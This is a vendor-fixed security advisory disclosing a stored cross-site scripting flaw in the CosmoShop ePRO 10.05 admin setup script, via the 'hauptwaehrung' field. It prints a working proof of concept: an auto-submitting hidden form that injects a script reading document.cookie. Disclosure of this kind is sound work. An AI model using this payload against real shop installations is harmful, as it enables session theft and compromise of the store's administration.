Vulnerability ID: HTB22878 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop.html Product: CosmoShop Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ ) Vulnerable Version: ePRO V10.05.00 Vendor Notification: 24 February 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "cgi-bin/admin/setup_edit.cgi" script to properly sanitize user-supplied input in "hauptwaehrung" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/cgi-bin/admin/setup_edit.cgi"; method="post" name="main"> <input type="hidden" name="setup" value="allgemein"> <input type="hidden" name="hId" value="setup.einstellungen.allgemein"> <input type="hidden" name="setup_key" value="allgemein"> <input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x"> <input type="hidden" name="shopbetreiber" value="email@xxxxxxxxxxx"> <input type="hidden" name="shop_bestellempfaenger" value="email@xxxxxxxxxxx"> <input type="hidden" name="anfrage_mail" value="email@xxxxxxxxxxx"> <input type="hidden" name="shop_umstid" value="DE12345678"> <input type="hidden" name="shop_eg" value="1"> <input type="hidden" name="auftragszaehler" value="1"> <input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'> <input type="hidden" name="nebenwaehrung" value="$"> <input type="hidden" name="eurofaktor" value="0.7"> <input type="hidden" name="mindestpreisdm" value="10"> <input type="hidden" name="emis_bestellempfaenger" value=""> <input type="hidden" name="afs_bestellempfaenger" value=""> <input type="hidden" name="ean_in_ausf" value="1"> <input type="hidden" name="google_verify_code" value=""> <input type="hidden" name="save_it" value="abspeichern"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version